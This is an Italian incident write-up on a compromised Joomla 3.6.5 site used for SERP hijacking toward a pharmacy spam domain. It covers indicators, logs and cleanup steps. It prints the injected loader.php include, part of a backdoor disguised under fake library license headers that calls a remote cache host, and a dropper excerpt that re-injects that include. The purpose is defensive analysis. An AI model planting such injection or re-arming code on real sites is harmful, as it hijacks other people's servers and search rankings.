Versione compromessa Joomla 3.6.5,non ancora identificato la fonte:

Tipo di Attacco:
SERP Hijacking

Payload:
il programma identifica il tipo di browser agent e qualora questo sia identificato come un Bot di motore di ricerca, sostituisce la pagina richiesta con una appositamente caricata in una cache remota al fine di fornire al browser una copia della pagina originale con tutti i link modificati per puntare ad un sito di vendita di Farmaci online Estero euro-pharm247.com

meccanismo di injection :
Probabile vulnerabiltà di PHPMailer

File Modificati:
libraries/loader.php

Codice Iniettato:

define('JPATH_ADAPTERSERVER',  dirname(__FILE__).'/joomla/base/adapterobserver.php');
if(file_exists(JPATH_ADAPTERSERVER))
@require_once(JPATH_ADAPTERSERVER);


File caricati
libraries/joomla/base/adapterobserver.php

Contenuto del file: oscurato dominio e codice di accesso alla cache remota
solo parte iniziale del file il file completo in allegato per referenza

<?php  
// --------------------------------------------------------------------------------
// PhpConcept Library - Zip Module 2.8.2
// --------------------------------------------------------------------------------
// License GNU/LGPL - Vincent Blavet - August 2009
// http://www.phpconcept.net
// --------------------------------------------------------------------------------
//
// Presentation :
//   PclZip is a PHP library that manage ZIP archives.
//   So far tests show that archives generated by PclZip are readable by
//   WinZip application and other tools.
//
// Description :
//   See readme.txt and http://www.phpconcept.net
//
// Warning :
//   This library and the associated files are non commercial, non professional
//   work.
//   It should not have unexpected results. However if any damage is caused by
//   this software the author can not be responsible.
//   The use of this software is at the risk of the user.
//
// --------------------------------------------------------------------------------
// $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
// --------------------------------------------------------------------------------
/**
 * @package Akismet
 */
/*
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) Sign up for an Akismet API key, and 3) Go to your <a href="/plugins.php?page=akismet-key-config">Akismet configuration[/url] page, and save your API key.
Version: 2.5.3
Author: Automattic
Author URI: http://automattic.com/wordpress-plugins/
License: GPLv2 or later
*/
 
/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/
error_reporting(0);      
ignore_user_abort(true); 
//@header('X-Powered-By:');
set_time_limit(0); 


define('__STATISTIC_URL__',    'http://botvsbrowser.com/rch_pdf/show.php');  
define('__DOMAIN_NAME__', 'domain.ltd);  
define('__SEC_VALUE__', '4xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx3');




//'#$GET_CONTENT_FUNCTIONS$#'


Ecco di cosa si tratta
https://cognitiveseo.com/blog/7255/defend-against-serp-hijacking-before-you-lose-your-rankings/

L'attacco è volto a essere invisibile agli utenti umani e visibile solo ai motori di ricerca, serve ad aumentare il ranking di ricerca di uno specifico sito, in questo caso un sito di vendita di farmaci online come sopra specificato , quasi sempre localizzato in uno stato per il quale l'attività di marketing seo non è normata e quindi, se non danneggia le persone o costituisce altro reato, non è punibile.

Cosa diversa invece per l'Italia dove il fatto costituisce "accesso abusivo a sistema informatico" ed è punibile ai sensi dell'art.615ter del codice penale.

https://it.wikipedia.org/wiki/Accesso_abusivo_a_un_sistema_informatico_o_telematico


traccie sospette recenti nei log:
89.46.106.252 - - 2017-04-24T00:54:49+02:00 / Python-urllib/2.7
89.46.106.11 - - 2017-04-22T23:26:03+02:00 / Python-urllib/2.7
89.46.105.205 - - 2017-04-22T02:05:49+02:00 / Python-urllib/2.7
89.46.105.24 - - 2017-04-22T13:45:36+02:00 / Python-urllib/2.7


probabile fonte dell' exploit

da una ricerca su google con "exploit joomla 3.6.5 python"
Joomla 3.6.5 Remote code execution Exploit 0day - 0day.today ...
http://0day.today/exploits/26794
24 gen 2017 - Joomla 3.6.5 Core suffers from a remote code execution vulnerability.\r\nJoomla Core ... a list of sites. For the work you need to install Python.


il riarmo è innescato da un file .php caricato in un percorso casuale del sito un nome di tre o quattro lettere.
Estratto;
<?php  
/* 
Special thanks to:  

Ryan Duff and Firas Durri, authors of WP-ContactForm, to which this 
plugins' initial concept and some parts of code was built based on. 

modernmethod inc, for SAJAX Toolkit, which was used to build this 
plugins' AJAX implementation 
*/


/*
Copyright (C) 2006-8 Matthew Robinson
Based on the Original Subscribe2 plugin by 
Copyright (C) 2005 Scott Merrill (skippy@skippy.net)

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
http://www.gnu.org/licenses/gpl.html

You should have received a copy of the GNU General Public License along  
with this program (intouch-license-gpl.txt); if not, write to the  

    Free Software Foundation, Inc.,  
    59 Temple Place,  
    Suite 330,  
    Boston,  
    MA 02111-1307 USA
*/

/* 
Do not modify the following code to manipulate the output of this plugin.  
For configuration options, please see 'Options'. 
*/

@ignore_user_abort(true); 
@set_time_limit(0); 
@error_reporting(0); 	 

define('__SEC_VALUE__', '4xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx3');
define('__MAIN_PATH__', './../../../');
define('__CMS_NAME__', 'joomla');


...

	if(strcmp(__CMS_NAME__, 'wordpress') === 0)
	{
		$sGettedContent = str_replace("@require_once('class.wp-includes.php');", '', $sGettedContent);
		$sGettedContent = preg_replace("/(@package\s+WordPress\s+\*\/)/", "\\1@require_once('class.wp-includes.php');", $sGettedContent);
	} else
		if(strcmp(__CMS_NAME__, 'joomla') === 0)
		{
			$sGettedContent = str_replace("\n\ndefine('JPATH_ADAPTERSERVER',  dirname(__FILE__).'/joomla/base/adapterobserver.php');\nif(file_exists(JPATH_ADAPTERSERVER))\n@require_once(JPATH_ADAPTERSERVER);');", '', $sGettedContent);
			$sGettedContent = preg_replace("/\*\//", "*/\n\ndefine('JPATH_ADAPTERSERVER',  dirname(__FILE__).'/joomla/base/adapterobserver.php');\nif(file_exists(JPATH_ADAPTERSERVER))\n@require_once(JPATH_ADAPTERSERVER);", $sGettedContent, 1);
		}		
...

fate una ricerca grep con __SEC_VALUE__ e adapterobserver
dovreste riuscire a trovare il file incriminato.

Data primo attacco rilevato
03/01/2017 ore 19.54

SOLUZIONE

Aggiornare a PHPMailer 5.2.20
Incluso in joomla 3.7

ovviamente rimuovete il codice iniettato nel loader.php
ed eliminate i file adapterobserver e l'altro che trovate.

eventualmente potete scrivere un .htaccess
deny from all
nelle cartelle coinvolte
creare un file vuoto con il nome adapterobserver.php e assegnategli il diritto 000
questo impedirà di creare il file o sovrascriverlo, il file comunque resta eliminabile

attenzione non assegnate il diritto 000 ad una cartella(directory) specialmente se non è vuota e non avete a disposizione un utente con i diritti di root , restate briccati

Nel caso abbiate bisogno di loggare gli accessi ad uno script php in particolare
aggiungete queste linee di codice al inizio dello script php
$log = fopen(".access.log.txt","a");
fwrite($log,getenv("REMOTE_ADDR")." - - ".date(DATE_ATOM)." ".getenv("REQUEST_URI")." ".getenv("HTTP_USER_AGENT")." ".getenv("HTTP_REFERER")."\n");
fclose($log);
chmod(".access.log.txt", 0600);
rimuovete le linee quando avete finito

ATTENZIONE il file .access.log.txt può diventare molto grande, non lasciate il log attivo per troppo tempo
il provider dovrebbe fornirvi un sistema di log a livello di Demone Httpd Apache o IIS